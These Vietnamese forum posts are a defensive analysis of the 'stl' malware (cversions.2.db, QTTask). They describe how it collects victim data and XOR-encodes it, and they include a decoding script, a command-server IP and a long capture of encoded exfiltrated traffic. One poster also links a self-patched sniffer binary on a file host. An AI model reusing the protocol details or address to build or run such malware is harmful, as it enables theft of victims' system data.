Tôi chợt nghĩ, có lẽ mẫu bot mới này cũng đã được stl coder add code detect Wireshark, EtherD, SmartSniff vào. Code đó sẽ cũng làm tương tự như cversions.2.db của QTTask, nếu detect thấy sniffer thì nằm im, ngủ
Nhưng code detect sniffer của stl coder rất dể vượt qua. Vì vậy tui đã patch sơ sơ lại SmartSniff của Nirosoft để đoạn code detect này sẽ vô dụng với SmartSniff.
SmartSniff rất nhỏ, không cần cài đặt, dể dùng, portable, nên tôi khuyến khích moị người dùng.
File sniffsm.zip http://www.mediafire.com/?sjreraa710iqkqn chính là SmartSniff đã được tui patch vài chổ. Bà con down về, run, vào menu "Capture Options", set lại Capture Method và "Select network adapter" tương ứng với máy mình là xong.
Hy vọng bà con dùng cái sniffsm (Sniff Smart) này để tóm được thằng bot đang DDOS VNN.
|
|
|
Post thì dể, nhưng liệu tụi nó có tâm huyết, có thời gian phân tích kỹ lưỡng 1 đống file trong 1 cục mèo què này không em ? Khó ở chổ là mèo què của stl trải dài tính năng ra 1 loạt file PE, chứ không dồn vào 1 file PE như các virus khác, nên nếu chỉ RCE 1 file thôi thì chưa thể khẳng định đó là mèo què hay mèo bình thường !
Anh chỉ cần bà con mình up cái QTTask.zip đó cho các AVs là được rồi, viết mail "năn nỉ" luôn, thì trước sau gì tụi stl cũng cạn kiệt mẫu, bó tay.com, không còn quậy phá ai được nữa hết !
|
|
|
Bởi vậy, em mới tức cảnh làm thơ:
"Giang hồ hiểm ác em không sợ.
Chỉ sợ mèo què "ét ti eo" "
Chỉ sợ hay không sợ ha bà con ? Bà con làm tiếp cho vui ! Em giờ đang stress, cái hàm TEA encode/decode của mấy anh stl chế quái quá !
Toàn bộ thông tin mà cversions.2.db thu nhập về victim sau khi gởi đi sẽ được mã hoá và lưu trong thư mục %LocalAppData%\Apps\GDIPFONTCACHEV1.DAT.
Bà con nào nếu tìm thấy file GDIPFONTCACHEV1.DAT này, trong thư mục Apps nhé (vì có nhiều GDIPFONTCACHEV1.DAT file) thì có thể dùng 010 Editor script sau để giải mã và xem, thử có giật mình không:
Code:
//----------------------------------------------------------------------------
//--- 010 Editor v3.2 Script File
//
// File: DecodeGDIPFontCacheV1.1sc
// Author: ThangCuAnh (TQN)
// Revision: 1.0
// Purpose: Decode file GDIPFONTCACHEV1.DAT
//----------------------------------------------------------------------------
int i, j, size = FileSize();
unsigned char xorBuf[size], val;
if (size <= 0)
{
MessageBox(idOk, "DecodeGDIPFontCacheV1", "No file loaded or file empty.");
return -1;
}
// Modify bytes
for (i = 0, j = 0; i < size; i++)
{
val = (ReadUByte(i) ^ i) ^ 0x10;
if (val == 0x9)
{
val = 0xA;
}
if (val != 0x00)
{
xorBuf[j] = val;
j++;
}
}
int newFile = FileNew();
FileSelect(newFile); // force select new file
WriteBytes(xorBuf, 0, j);
|
|
|
Nói chung là trừ PHP ra, còn cái gì có P đều đã đụng tới "chút chút" RCE hết rồi em à. Trong đó, khoái RCE các app viết = Delphi, Pascal nhất.
Dù là compiler khác nhau, nhưng đều dựa trên chuẩn của Object Pascal nên cơ chế name mangling, vptr, RTTI, TypeInfo... của các thằng Borland Pascal, Delphi, Free Pascal, Virtual Pascal đều như nhau.
Hiện nay, ngoài IDA, tool decompiler tốt nhất cho Delphi app là IDR: http://kpnc.org/idr32/en/. Tool này được Kaspersky tài trợ.
|
|
|
Do bản UltraSuft mà bạn pduck56 down về được ai đó kèm mã độc và protect = Themida nên Avast của bạn báo là malware. Cũng đúng thôi.
UltraSuft là phần mềm free, các bạn nên lên chính website mà down, và đừng download soft, crack lại các forum, các site, các trang chia sẽ... Đệ tử của stl nhiều lắm, chổ nào cũng có, tụi nó sẽ bonus thêm cho các bạn vài con "mèo què" của stl !
Cversions.2.db giao tiếp với các host trên qua cỗng 443, cổng của HTTPS, nhưng lại chã phải là HTTPS gì cả. Coder của stl chỉ đơn thuần dùng pure socket API send và recv để gửi và nhận. Thông tin (char buffer) gởi đi được xor từng byte với 0x1D, còn thông tin nhận về được xor từng byte với 0x45 ('E' char) để lấy lại string ra lệnh nguyên thuỷ.
Ngoài thông tin về username, computer name, hardware: disk, cpu, MAC address, các process đang run, windows name đang mở, con cversions.2.db này còn lấy hết danh các software, các MS update đã install trên máy victim và gởi đi. Cái list softwares này mới là nhiều nè. Máy em thôi sơ sơ ra khoãng 102 dòng thôi. Vì vậy mấy anh stl cứ phải giãi mã mệt nghỉ luôn
|
|
|
Dưới đây là một đoạn thông tin của victim mà con cversions.2.db gởi về cho cái host ở Malaisia:
Code:
==================================================
Protocol : TCP
Remote Address : 111.90.149.58
Remote Port : 443
Service Name : https
Packets : 31 {17 ; 14}
Data Size : 15,115 Bytes {7,501 ; 7,614}
Total Size : 16,399 Bytes {8,181 ; 8,218}
Data Speed : 0.1 KB/Sec
Duration : 00:02:03.812
ProcessID : 4076
Remote MAC Address: 00-22-6b-f4-bc-a9
Remote IP Country : Malaysia
==================================================
[27/09/2011 3:13:17 PM:687]
00000000 67 00 00 00 00 g....
[27/09/2011 3:13:17 PM:765]
00000000 81 8D 68 B2 31 23 90 1F 21 9E 55 59 B5 30 A5 C4 07 97 53 2F 37 72 72 44 55 AC 1C 0F 0E 47 8E 94 h²1#. !žUYµ0¥Ä .—S/7rrD U¬...GŽ”
00000020 96 21 24 A8 BA B3 0B E8 23 94 18 4B 73 18 2E 14 5C 8F C2 02 D7 7B E6 0E 1A 23 5D 85 06 80 11 DA –!$¨º³.è #”.Ks... \Â.×{æ. .#]….€.Ú
00000040 0F C0 C2 93 0B FD 09 53 8B 6B 0C A2 5A 27 D1 3D 7D 07 B2 7E 84 8C BD 1A 3A 16 8D 97 56 86 E2 A2 .À“.ý.S ‹k.¢Z'Ñ= }.²~„Œ½. :.—V†â¢
00000060 83 3D 3B B2 ƒ=;²
[27/09/2011 3:13:17 PM:765]
00000000 81 8E 6A B5 35 28 96 26 29 A7 5F 64 C1 3D B3 D3 17 A8 65 42 4B 87 88 5B 6D C5 36 2A 2A 64 AC B3 Žjµ5(–& )§_dÁ=³Ó .¨eBK‡ˆ[ mÅ6**d¬³
00000020 B6 42 46 CB DE D8 31 0F 4B BD 42 76 9F 45 5C 43 8C C0 F4 35 0B B0 1C 45 52 5C 97 C0 42 BD 4F 19 ¶BFËÞØ1. K½BvŸE\C ŒÀô5.°.E R\—ÀB½O.
00000040 4F 01 04 D6 4F 42 4F 9A D3 B4 56 ED A6 74 1F 8C CD 58 04 D1 D8 E1 13 71 92 6F E7 F2 B2 E3 40 01 O..ÖOBOš Ó´Ví¦t.Œ ÍX.ÑØá.q ’oçò²ã@.
00000060 E3 9E 9D 15 ãž.
[27/09/2011 3:13:17 PM:859]
00000000 00 .
[27/09/2011 3:13:18 PM:046]
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE-YEE-YEEEEEEEEEEEEEE/.---/[X%-\\+(Y%\,_,X\Y,^(\%X)-[/-,__0_^--0---,-%^X)\X-)**Y^\^[----,+%[.-.(-.,.EMNM..mk.^'AIxpmAO^XAKtohnALII|nvAMX[tqxnA~kxontrsn3ts.(*%)$-+(.F(3,3/+--@=0=NM=.=0=MI=,=0=NP=/(+=0=UY=_-)\*X$Y=0=ST^=--'-\'(X'/,'__'$+=0=_|t=PY--%--0_WYJ3PJ-JP\P$..$//.*=====.-y=,u=.p=a=----0--0--=--'--'--.RdmLLYO-$~PvUM+RLMS_Iz BmXhTMnwQjNv*gSh)vZX+Hz 3FB@FB@FB@39\yrx=[q|nu=Mq|dxo=,-=\~itkxE..\yrx=[q|nu=Mq|dxo=,-=Mqhzts.._r~un=/3)3+=5oxprkx=rsqd4.._rrni=Qto|otxn={ro=^66_htqyxo=/-,-..^rmxost~=Yxnvirm=Nx|o~u=0=Urpx..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Y|i||nx=M|~v..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Uxqm=Ndnixp..Xp|o~|yxor=O\Y=Nihytr=/-,-..UM=Q|nxoWxi=P,.,$=P[M=Nxotxn..V|nmxonvd=\sit0Ktohn=/-,,..Tsixosxi=Xemqroxo..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/)*+)$-4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(-.++(4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(-*$.%4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/(.-()%4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.((,/4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.+/*+4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.+/*+0k/4..Hmy|ix={ro=Jtsyrjn=EM=5V_/(),*+.4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/())(/,4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/())%$.4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/((($,*4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/(($-)$4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(+/$.*4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(++)()4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(+*+%-4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(*-///4..Uri{te={ro=Jtsyrjn=EM=5V_/($,4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(*-$)*4..Hmy|ix={ro=Jtsyrjn=EM=5V_/+-**,/4..Hmy|ix={ro=Jtsyrjn=EM=5V_/+,++*+4..Pt~ornr{i=Jtsyrjn=Yotkxo=Vti=*3,3-3*+--..V0Qtix=Pxz|=^ryx~=M|~v=)3%3(..Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,..Pt~ornr{i=Ktnh|q=W>=/3-=Oxytniothi|qx=M|~v|zx..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=Irrqn=0=XSH..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH..Prgtqq|=[tox{re=+3-3/=5e%+=xs0HN4..PNYS=Qto|od={ro=Ktnh|q=Nihytr=/--%=0=XSH..Pt~ornr{i=Ixei0ir0Nmxx~u=Xsztsx=)3-=5Xszqtnu4..Mdiurs=/3*=mdjts./0/,+..O|kx=Oxmroin=*3*3-=_X..HstVxd=)3-=SI..Pt~ornr{i=Vxosxq0Pryx=Yotkxo=[o|pxjrov=[x|ihox=M|~v=,3(..JtsM~|m=)3,3/..JtsO\O=|o~utkxo..D|urr<=Pxnnxszxo..Pt~ornr{i=Ktnh|q=^66=/--%=\IQ=Hmy|ix=v$*.$/)=0=e%+=$3-3.-*/$3),)%..UIVV..nxsnron|pmqxn..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=3SXI=[o|pxjrov=Irrqn=0=xsh..ktni|qtnBe+){ox..jy{irrqnBt|+){ox..Q|~=Ktxi=piy$=XK\..sxijrovqto|otxnBt|+){ox..ir|nixopxi|y|i|m|~v|zxn|pmqx..ts{n|pmqxBe+){ox..sxijrovqto|otxnBe%+{ox..yn{n|pmqxn..nxihmn|pmqxn..P|ovxiOxnx|o~u..nxihmirrqnBe+){ox..Pt~ornr{i=Ktnh|q=^66=/-,-==e%+=Oxytniothi|qx=0=,-3-3.-.,$..tp|ztszirrqnBe%+{ox..msmirrqnBe+){ox..mrjxop|s|zxpxsiBt|+){ox..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3),)%..ux|yxon..[|eNxihmTsni|qqxo..W|k|5IP4=+=Hmy|ix=/+..qhxirriun|pmqxn..|hytrn|pmqxn..zxsxo|qirrqnBt|+){ox..ktni|qtnBt|+){ox..Mdiurs=/3*3,..htqyirrqnBe%+{ox..r{{oxzBt|+){ox..io|~tszirrqBe+){ox..irrqnBt|+){ox..motsiirrqnBt|+){ox..motsiirrqnBe+){ox..PNYS=Qto|od={ro=Ktnh|q=Nihytr=/--%=0=XSH..irrqtsyxe..io|~tszirrqBt|+){ox..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=^rqqx~itrs=Irrqn=Nrho~x=^|~ux..yxhz{tqxnBjts*..io|~tszirrqBe%+{ox..ummhnzP,.,-..zxsxo|qn|pmqxn..ir|nixon|pmqx..{tox{qdn|pmqx..xkxsin|pmqx..trpxiot~n|pmqxn..W|k|=\hir=Hmy|ixo..qtnBe+){ox..tp|ztszirrqnBt|+){ox..m{yBe+){ox..jsxiqtnBe+){ox..~|s~xqn|pmqx..qhxirriuirrqnBe+){ox..~uvts{irrqBe%+{ox..jy{irrqnBe%+{ox..ntyxnurjn|pmqxn..ox|ypx..sxijrovn|pmqxn..PNEPQ=+=Nxokt~x=M|~v=/=5V_$*.+%+4..mroitrn|pmqx..trpxiot~irrqnBe%+{ox..Ro|~qx=KP=Ktoih|q_re=)3-3,/..niro|zxn|pmqxn..hnn|pmqxn..np|oi~|oyn|pmqxn..|kniox|pirrqnBe%+{ox..jsxiqtnBt|+){ox.._rrni=Qto|otxn={ro=^66_htqyxo=/--$..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NYV=Ox{xoxs~x=\nnxpqtxn=|sy=TsixqqtNxsnx..ton|pmqxn..V|nmxonvd=Tsixosxi=Nx~hotid=/-,,..msmirrqnBe%+{ox..Pt~ornr{i=Yr~hpxsi=Xemqroxo=/--%..Pt~ornr{i=Ktnh|q=W>=/3-=Oxytniothi|qx=M|~v|zx..niox|ppxyt|n|pmqxn..r{{oxzBe%+{ox..Pt~ornr{i=Ktnh|q=^66=/--(=Oxytniothi|qx..hnn|pmqxn..yokirrqnBt|+){ox..Ox~xtkxTsni|qqxo..UM=Q|nxoWxi=Irrqre..Pt~ornr{i=Ktnh|q=^66=/--(=\IQ=Hmy|ix=v$*.$/.=0=e%+=%3-3(-*/*3)-(...Ktnh|q=^66=/--%=e%+=Ohsitpx=0=5k$3-3.-*/$3),)%4..Ktnh|q=^66=/--%=e%+=Ohsitpx=0=k$3-3.-*/$3),)%..ts{n|pmqxBe%+{ox..Nr{ij|ox=Hmy|ix={ro=Jx=[rqyxon..Pt~ornr{i=Jtsyrjn=Yotkxo=Vti=Yr~hpxsi|itrs=*+--3-$,/-,..y{eBt|+){ox..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH..Nx~hotid=Hmy|ix={ro=Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=5V_//(,)%*4..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=Nxokt~x=M|~v=,=5V_$)(,)-4..Uri{te={ro=Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=5V_$*,-$/4..xksiyokn|pmqx..m{yBe%+{ox..Yxhzztsz=Irrqn={ro=Jtsyrjn=5e%+4..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=Ux|yxon=|sy=Qto|otxn..jmyirrqnBe%+{ox..PNEPQ=)3-=NM/=5V_$()).-4..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=V_/)+*,*)=0=e%+=$3-3.-*/$3((*-..y{eBe%+{ox..Pt~ornr{i=Ntqkxoqtzui..Tsixq5O4=Xeioxpx=Zo|mut~n=/=Yotkxo..nxihmirrqnBe%+{ox..irrqnBe+){ox..yokirrqnBe%+{ox..Pt~ornr{i=R{{t~x=Mor{xnntrs|q=Xytitrs=/--...^rpm|ittqtid=M|~v={ro=iux=/--*=R{{t~x=ndnixp..utyBtsmhin|pmqxn..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=Irrqn=0=XSH..tr~iqn|pmqx.._rrni=Qto|otxn={ro=^66_htqyxo=/-,-..Pt~ornr{i=\mmqt~|itrs=Xooro=Oxmroitsz..UM=Q|nxoWxi=P,.,$=P[M=Nxotxn=Irrqre..utyn|pmqxtsmhi..y{eBe+){ox..mrjxop|s|zxpxsiBe%+{ox..htqyn|pmqxn..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3,*..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3+,+,..jemqtnBe%+{ox..zxsxo|qirrqnBe+){ox..\QMN=Irh~u=M|y=Yotkxo..hpy{n|pmqxn..Pt~ornr{i=3SXI=[o|pxjrov=.3-=Nxokt~x=M|~v=/..ytnmq|dn|pmqxn..ts{n|pmqxBt|+){ox..PokqHnzIo|~vtsz..qhxirriuirrqnBe%+{ox..tp|ztszirrqnBe+){ox..Xp|o~|yxor=O\Y=Nihytr=/-,-..jnyirrqBe%+{ox..yokirrqnBe+){ox..jmyn|pmqxn..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NM,=Jts./=Irrqn..nxihmirrqnBt|+){ox..mrjxop|s|zxpxsiBe+){ox..motsiirrqnBe%+{ox..qtnBe%+{ox..jptn|pmqxn..|kniox|pirrqnBt|+){ox..|kniox|pirrqnBe+){ox..msmmroinn|pmqx..YN[0VtiNxihm..t{nn|pmqxn..Pt~ornr{i=3SXI=[o|pxjrov=/3-=Nxokt~x=M|~v=/..njihsxo..utyn|pmqxn..N~|s=Ir..[|eNxsyTsni|qqxo..OX\QIXV=ZX=;=[X=Xiuxosxi=M^T0X=ST^=Yotkxo..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NM,=Irrqn..r|~oBe%+{ox..irrqnBe%+{ox..Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,..Uri{te={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$(.($(4..Uri{te={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$(%)%)4..Hmy|ix={ro=Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,=5V_$+.4..zxsxo|qirrqnBe%+{ox..htqyirrqnBt|+){ox..P|ovxiOxnx|o~u..qtnBt|+){ox..nyk..jsxiqtnBe%+{ox..m{yBt|+){ox..trpxiot~irrqnBe+){ox..msmirrqnBt|+){ox..motsin|pmqxn..|kniox|pn|pmqxn..htqyirrqnBe+){ox..tsni|qquxqm..pryxpirrqn..qhxirriuirrqnBt|+){ox..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Y|i||nx=M|~v..r{{oxzBe+){ox..jmyirrqnBe+){ox..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=^rqqx~itrs=Irrqn=0=XSH..j~rtsni|qqxon..jnyirrqBt|+){ox..jnyirrqBe+){ox..Ox|qixv=Utzu=Yx{tstitrs=\hytr=Yotkxo..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Uxqm=Ndnixp..sxijrovqto|otxnBe+){ox..jy{irrqnBe+){ox..PNEPQ=)3-=NM/=5V_$*.+%%4..^ryxZx|o=Yxqmut=|sy=^66_htqyxo=/--$=Uxqm=Ndnixp..ktni|qtnBe%+{ox..jmyirrqnBt|+){ox..^ryxZx|o=Yxqmut=|sy=^66_htqyxo=/--$=Y|i||nx=M|~v..m~tyokn|pmqx..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3/,-//..
[27/09/2011 3:13:18 PM:281]
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE,YEE,YEEEEEEEEEEEEEE/.---/[X%-\\+(Y%\,_,X\Y,^(\%X)-[/-,__0_^--0---,-%^X)\X-)**Y^\^[----,+%[.-.(-.,.EMNM..mk.^'AIxpmAO^XAKtohnALII|nvAMX[tqxnA~kxontrsn3ts.(*%)$-+(.F(3,3/+--@=0=NM=.=0=MI=,=0=NP=/(+=0=UY=_-)\*X$Y=0=ST^=--'-\'(X'/,'__'$+=0=_|t=PY--%--0_WYJ3PJ-JP\P$..$//.*=====.-y=,u=.p=a=----0--0--=--'--'--.RdmLLYO-$~PvUM+RLMS_Iz BmXhTMnwQjNv*gSh)vZX+Hz 3FB@FB@FB@39\yrx=[q|nu=Mq|dxo=,-=\~itkxE..\yrx=[q|nu=Mq|dxo=,-=Mqhzts.._r~un=/3)3+=5oxprkx=rsqd4.._rrni=Qto|otxn={ro=^66_htqyxo=/-,-..^rmxost~=Yxnvirm=Nx|o~u=0=Urpx..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Y|i||nx=M|~v..Xp|o~|yxor=Yxqmut=|sy=^66_htqyxo=/-,-=Uxqm=Ndnixp..Xp|o~|yxor=O\Y=Nihytr=/-,-..UM=Q|nxoWxi=P,.,$=P[M=Nxotxn..V|nmxonvd=\sit0Ktohn=/-,,..Tsixosxi=Xemqroxo..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/)*+)$-4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(-.++(4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(-*$.%4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/(.-()%4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.((,/4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.+/*+4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(.+/*+0k/4..Hmy|ix={ro=Jtsyrjn=EM=5V_/(),*+.4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/())(/,4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/())%$.4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/((($,*4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=Tsixosxi=Xemqroxo=%=5V_/(($-)$4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(+/$.*4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(++)()4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(+*+%-4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(*-///4..Uri{te={ro=Jtsyrjn=EM=5V_/($,4..Nx~hotid=Hmy|ix={ro=Jtsyrjn=EM=5V_/(*-$)*4..Hmy|ix={ro=Jtsyrjn=EM=5V_/+-**,/4..Hmy|ix={ro=Jtsyrjn=EM=5V_/+,++*+4..Pt~ornr{i=Jtsyrjn=Yotkxo=Vti=*3,3-3*+--..V0Qtix=Pxz|=^ryx~=M|~v=)3%3(..Pt~ornr{i=3SXI=[o|pxjrov=.3(=NM,..Pt~ornr{i=Ktnh|q=W>=/3-=Oxytniothi|qx=M|~v|zx..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=Irrqn=0=XSH..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH..Prgtqq|=[tox{re=+3-3/=5e%+=xs0HN4..PNYS=Qto|od={ro=Ktnh|q=Nihytr=/--%=0=XSH..Pt~ornr{i=Ixei0ir0Nmxx~u=Xsztsx=)3-=5Xszqtnu4..Mdiurs=/3*=mdjts./0/,+..O|kx=Oxmroin=*3*3-=_X..HstVxd=)3-=SI..Pt~ornr{i=Vxosxq0Pryx=Yotkxo=[o|pxjrov=[x|ihox=M|~v=,3(..JtsM~|m=)3,3/..JtsO\O=|o~utkxo..D|urr<=Pxnnxszxo..Pt~ornr{i=Ktnh|q=^66=/--%=\IQ=Hmy|ix=v$*.$/)=0=e%+=$3-3.-*/$3),)%..UIVV..nxsnron|pmqxn..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=3SXI=[o|pxjrov=Irrqn=0=xsh..ktni|qtnBe+){ox..jy{irrqnBt|+){ox..Q|~=Ktxi=piy$=XK\..sxijrovqto|otxnBt|+){ox..ir|nixopxi|y|i|m|~v|zxn|pmqx..ts{n|pmqxBe+){ox..sxijrovqto|otxnBe%+{ox..yn{n|pmqxn..nxihmn|pmqxn..P|ovxiOxnx|o~u..nxihmirrqnBe+){ox..Pt~ornr{i=Ktnh|q=^66=/-,-==e%+=Oxytniothi|qx=0=,-3-3.-.,$..tp|ztszirrqnBe%+{ox..msmirrqnBe+){ox..mrjxop|s|zxpxsiBt|+){ox..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=e%+=$3-3.-*/$3),)%..ux|yxon..[|eNxihmTsni|qqxo..W|k|5IP4=+=Hmy|ix=/+..qhxirriun|pmqxn..|hytrn|pmqxn..zxsxo|qirrqnBt|+){ox..ktni|qtnBt|+){ox..Mdiurs=/3*3,..htqyirrqnBe%+{ox..r{{oxzBt|+){ox..io|~tszirrqBe+){ox..irrqnBt|+){ox..motsiirrqnBt|+){ox..motsiirrqnBe+){ox..PNYS=Qto|od={ro=Ktnh|q=Nihytr=/--%=0=XSH..irrqtsyxe..io|~tszirrqBt|+){ox..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=^rqqx~itrs=Irrqn=Nrho~x=^|~ux..yxhz{tqxnBjts*..io|~tszirrqBe%+{ox..ummhnzP,.,-..zxsxo|qn|pmqxn..ir|nixon|pmqx..{tox{qdn|pmqx..xkxsin|pmqx..trpxiot~n|pmqxn..W|k|=\hir=Hmy|ixo..qtnBe+){ox..tp|ztszirrqnBt|+){ox..m{yBe+){ox..jsxiqtnBe+){ox..~|s~xqn|pmqx..qhxirriuirrqnBe+){ox..~uvts{irrqBe%+{ox..jy{irrqnBe%+{ox..ntyxnurjn|pmqxn..ox|ypx..sxijrovn|pmqxn..PNEPQ=+=Nxokt~x=M|~v=/=5V_$*.+%+4..mroitrn|pmqx..trpxiot~irrqnBe%+{ox..Ro|~qx=KP=Ktoih|q_re=)3-3,/..niro|zxn|pmqxn..hnn|pmqxn..np|oi~|oyn|pmqxn..|kniox|pirrqnBe%+{ox..jsxiqtnBt|+){ox.._rrni=Qto|otxn={ro=^66_htqyxo=/--$..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=NYV=Ox{xoxs~x=\nnxpqtxn=|sy=TsixqqtNxsnx..ton|pmqxn..V|nmxonvd=Tsixosxi=Nx~hotid=/-,,..msmirrqnBe%+{ox..Pt~ornr{i=Yr~hpxsi=Xemqroxo=/--%..Pt~ornr{i=Ktnh|q=W>=/3-=Oxytniothi|qx=M|~v|zx..niox|ppxyt|n|pmqxn..r{{oxzBe%+{ox..Pt~ornr{i=Ktnh|q=^66=/--(=Oxytniothi|qx..hnn|pmqxn..yokirrqnBt|+){ox..Ox~xtkxTsni|qqxo..UM=Q|nxoWxi=Irrqre..Pt~ornr{i=Ktnh|q=^66=/--(=\IQ=Hmy|ix=v$*.$/.=0=e%+=%3-3(-*/*3)-(...Ktnh|q=^66=/--%=e%+=Ohsitpx=0=5k$3-3.-*/$3),)%4..Ktnh|q=^66=/--%=e%+=Ohsitpx=0=k$3-3.-*/$3),)%..ts{n|pmqxBe%+{ox..Nr{ij|ox=Hmy|ix={ro=Jx=[rqyxon..Pt~ornr{i=Jtsyrjn=Yotkxo=Vti=Yr~hpxsi|itrs=*+--3-$,/-,..y{eBt|+){ox..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH..Nx~hotid=Hmy|ix={ro=Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=5V_//(,)%*4..Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=Nxokt~x=M|~v=,=5V_$)(,)-4..Uri{te={ro=Pt~ornr{i=Ktnh|q=Nihytr=Ix|p=Ndnixp=/--%=Ix|p=Nhtix=0=XSH=5V_$*,-$/4..xksiyokn|pmqx..m{yBe%+{ox..Yxhzztsz=Irrqn={ro=Jtsyrjn=5e%+4..Pt~ornr{i=Jtsyrjn=NYV={ro=Ktnh|q=Nihytr=/--%=Ux|yxon=|sy=Qto|otxn..jmyirrqnBe%+{ox..PNEPQ=)3-=NM/=5V_$()).-4..Pt~ornr{i=Ktnh|q=^66=/--%=Oxytniothi|qx=0=V_/)+*,*)=0=e%+=$3-3.-*/$3((*-..y{eBe%+{ox..Pt~ornr{i=Ntqkxoqtzui..Tsixq5O4=Xeioxpx=Zo|mut~n=/=Yotkxo..nxihmirrqnBe%+{ox..irrqnBe+){ox..yokirrqnBe%+{ox..Pt~ornr{i=R{{t~x=Mor{xnntrs|q=Xytitrs=/--...^rpm|ittqtid=M|~v={ro=iux=/--*=R{{t~x=ndnixp..utyBtsmhin|pmqxn..Pt~ornr{i=Ktnh|q=Nihytr=/--%=Mxo{rop|s~x=Irrqn=0=XSH..tr~iqn|pmqx.._rrni=Qto|otxn={ro=^66_htqyxo=/-,-..